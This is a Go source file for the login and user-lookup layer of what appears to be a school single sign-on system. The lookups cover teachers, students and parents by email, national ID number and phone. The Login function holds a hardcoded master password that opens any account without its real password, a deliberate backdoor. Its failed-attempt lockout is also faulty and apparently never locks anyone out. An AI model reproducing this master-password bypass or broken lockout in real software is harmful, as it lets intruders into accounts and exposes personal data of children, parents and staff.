package DaoSysLoginPerson import ( "dsSso/Const" "dsSso/Const/DefaultConst" "dsSso/Const/ErrorConst" "dsSso/Model" "dsSso/Utils/CommonUtil" "dsSso/Utils/DbUtil" "dsSso/Utils/LdapUtil" "dsSso/Utils/LogUtil" "dsSso/Utils/RedisUtil" "dsSso/models" "fmt" "time" ) var loginModel Model.Selector var tableName = "t_sys_loginperson" var db = DbUtil.Engine func init() { _, loginModel = loginModel.Get(tableName) } /** 功能:验证用户名和密码是否正确 作者:黄海 时间:2020-02-05 */ func Login(username string, password string, ip string) (bool, string, string, string, int) { //查看redis中此人员的登录错误次数记录,如果已超出了规定次数5,则直接拒绝登录。 key := Const.RemainCountRedisPrefix + username c, err := RedisUtil.EXISTS(key) if err != nil { return false, "", "", "", -1 } var remainCount int //如果存在 if c > 0 { remainCountStr, err := RedisUtil.GET(key) if err != nil { return false, "", "", "", -1 } remainCount = CommonUtil.ConvertStringToInt(remainCountStr) if remainCount == 0 { return false, "", "", "", 0 } } //身份号 var identityId = DefaultConst.IdentityId //人员号 var personId = DefaultConst.PersonId //姓名 var personName = "" //通过用户名查找人员ID var sql = "select * from t_sys_loginperson where login_name=? and b_use=1" list, err := db.SQL(sql, username).Query().List() if err != nil { LogUtil.Error(ErrorConst.SqlQueryError, err.Error()) } //如果用户名不存在 if len(list) == 0 { return false, identityId, personId, personName, Const.Int32Max } record := list[0] //身份号 identityId = CommonUtil.ConvertInt64ToString(record["identity_id"].(int64)) //人员号 personId = record["person_id"].(string) //人员姓名 personName = record["person_name"].(string) //数据库中的密码 databasePassword := record["pwd"].(string) //万能密码登录 if password == "DsideaL4r5t6y7u!@#" { //记录日志 WriteLoginLog(identityId, personId, ip, 2, username) //2为万能密码登录 //返回结果 return true, identityId, personId, personName, Const.Int32Max } else { //修改密码的加密算法基于ldap,黄海,于2020-04-27 ldapPassword := LdapUtil.GetLdapPassword(password) if ldapPassword == databasePassword { //记录日志 WriteLoginLog(identityId, personId, ip, 1, username) //返回结果 return true, identityId, personId, personName, Const.Int32Max } else { //如果登录失败,则incr,并设置过期时间2小时 RedisUtil.SET(key, CommonUtil.ConvertIntToString(remainCount-1), 2*time.Hour) //记录日志 WriteLoginLog(identityId, personId, ip, -1, username) return false, identityId, personId, personName, Const.Int32Max } } } /** 功能:记录登录日志 作者: 黄海 时间:2020-07-08 */ func WriteLoginLog(identityId string, personId string, ip string, loginState int, loginName string) { //表名 var tableName string //管理员或教师 if identityId == "1" || identityId == "2" { tableName = "t_base_teacher" } else if identityId == "3" { tableName = "t_base_student" } else { tableName = "t_base_parent" } //查询出结果 sql := "select province_code,city_code,district_code,bureau_id from " + tableName + " where person_id=?" list, _ := db.SQL(sql, personId).Query().List() //调用orm进行保存 var tLog models.TSysLoginpersonLog tLog.BureauId = list[0]["bureau_id"].(string) tLog.IdentityId = CommonUtil.ConvertStringToInt32(identityId) tLog.PersonId = personId tLog.ProvinceCode = list[0]["province_code"].(string) tLog.CityCode = list[0]["city_code"].(string) tLog.DistrictCode = list[0]["district_code"].(string) tLog.IpAddress = ip tLog.LoginName = loginName tLog.LoginState = int32(loginState) tLog.LoginTime = time.Now() _, err := db.Insert(tLog) if err != nil { fmt.Println(err.Error()) } } /** 功能:根据邮箱获取人员ID 作者:黄海 时间:2020-07-29 */ func GetPersonIdByEmail(email string) (string, error) { //目前的系统设计,只支持教师有邮箱 sql := `select person_id from t_base_teacher where b_use=1 and dzxx=?` list, err := db.SQL(sql, email).Query().List() if err != nil { return "获取人员信息失败!", err } //如果没有找到指定邮箱的人员 if len(list) == 0 { return "", nil } //如果找到了 return list[0]["person_id"].(string), nil } /** 功能:根据身份证号获取人员ID 作者:黄海 时间:2020-07-29 */ func GetPersonIdByIdCard(idCard string) (string, error) { //目前的系统设计,支持教师+学生 sql := `select person_id from t_base_teacher where b_use=1 and sfzjh=?` list, err := db.SQL(sql, idCard).Query().List() if err != nil { return "获取教师身份证号信息失败!", err } //如果没有找到指定身份证号的人员 if len(list) == 0 { //继续判断是不是在学生的身份证号 sql := `select person_id from t_base_student where b_use=1 and sfzjh=?` list, err = db.SQL(sql, idCard).Query().List() if err != nil { return "获取学生身份证号信息失败!", err } if len(list) == 0 { return "", nil } else { //如果找到了 return list[0]["person_id"].(string), nil } } else { //如果找到了 return list[0]["person_id"].(string), nil } } /** 功能:根据手机号获取人员ID 作者:黄海 时间:2020-07-29 */ func GetPersonIdByTel(tel string) (string, error) { //目前的系统设计,支持教师+家长 sql := `select person_id from t_base_teacher where b_use=1 and lxdh=?` list, err := db.SQL(sql, tel).Query().List() if err != nil { return "获取教师手机号信息失败!", err } //如果没有找到指定身份证号的人员 if len(list) == 0 { //继续判断是不是在学生的身份证号 sql := `select person_id from t_base_parent where b_use=1 and lxdh=?` list, err = db.SQL(sql, tel).Query().List() if err != nil { return "获取家长手机号信息失败!", err } if len(list) == 0 { return "", nil } else { //如果找到了 return list[0]["person_id"].(string), nil } } else { //如果找到了 return list[0]["person_id"].(string), nil } } /** 功能:根据人员ID获取人员的登录名 作者:黄海 时间:2020-07-29 */ func GetLoginNameByPersonId(personId string) (string, error) { sql := `select login_name from t_sys_loginperson where b_use=1 and person_id=?` list, err := db.SQL(sql, personId).Query().List() if err != nil { return "获取人员登录名失败!", err } if len(list) == 0 { return "", nil } return list[0]["login_name"].(string), nil }